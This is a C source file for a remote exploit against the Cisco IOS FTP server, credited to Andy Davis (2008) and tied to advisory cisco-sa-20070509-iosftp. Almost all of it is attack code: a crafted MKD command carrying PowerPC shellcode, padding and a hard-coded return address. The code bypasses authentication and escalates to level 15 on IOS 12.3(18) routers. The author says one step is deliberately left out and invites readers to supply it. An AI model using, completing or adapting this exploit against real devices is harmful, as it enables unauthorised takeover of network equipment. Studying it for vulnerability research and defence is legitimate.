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/*
Cisco IOS FTP server remote exploit by Andy Davis 2008 Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007 Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router Removes the requirement to authenticate and escalates to level 15 ********************************************************************* To protect the innocent a critical step has been omitted, which means the shellcode will only execute when the router is attached to gdb. I'm sure the PowerPC shellcoders out there will work it out... ********************************************************************* Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent on the original IOS security research iosftpexploit <at> googlemail 'dot' com
*/
#include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h>
#define PORT 21
int main(int argc, char **argv) { unsigned char sendbuf[] =
"MKD "
/* .equ vty_info, 0x8182da60 # pointer to VTY info */ /* .equ terminate, 0x80e4086c # kill a process */
"\x3c\x80\x81\x83" /* lis 4,vty_info@ha */ "\x38\x84\xda\x60" /* la 4,vty_info@l(4) */ "\x7d\x08\x42\x78" /* xor 8,8,8 */ "\x7c\xe4\x40\x2e" /* lwzx 7,4,8 */ "\x91\x07\x01\x74" /* stw 8,372(7) */ "\x39\x08\xff\xff" /* subi 8,8,1 */ "\x38\xe7\x09\x1a" /* addi 7,7,233 */ "\x91\x07\x04\xca" /* stw 8,1226(7) */ "\x7d\x03\x43\x78" /* mr 3,8 */ "\x3c\x80\x80\xe4" /* lis 4,terminate@ha */ "\x38\x84\x08\x6c" /* la 4,terminate@l(4) */ "\x7c\x89\x03\xa6" /* mtctr 4 */ "\x4e\x80\x04\x20" /* bctr */
/* exists cleanly without adversely affecting the FTP server */
"\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */ "\x61\x61\x61\x61" /* padding */
"\x80\x06\x23\xB8" /* return address */ "\x0d\x0a";
/* trampoline code */ /* when the overflow occurs r26+0x14 points to the shellcode */ /* 0x800623B8 lwz 26, 20(26) 0x800623BC mtctr 26 0x800623C0 mr 3, 27 0x800623C4 bctrl */
unsigned char recvbuf[256]; struct sockaddr_in servaddr; int s;
if (argc != 2) { printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n");
printf ("\nUsage: %s <target IP address>\n",argv[0]); exit(-1); }
servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = inet_addr(argv[1]); servaddr.sin_port = htons(PORT);
s = socket(AF_INET, SOCK_STREAM, 0); connect (s, (struct sockaddr *) &servaddr, sizeof(servaddr)); printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n"); printf ("Specific offsets for IOS 12.3(18) on a 2621XM router\n\n"); printf ("Sending exploit...\n\n");
if (send(s, sendbuf, sizeof(sendbuf)-1, 0) == 0) { printf("Error sending packet...quitting\n\n"); exit (1); } recv (s, recvbuf, sizeof(recvbuf)-1,0); printf ("Now telnet to the router for a shell...\n\n"); }
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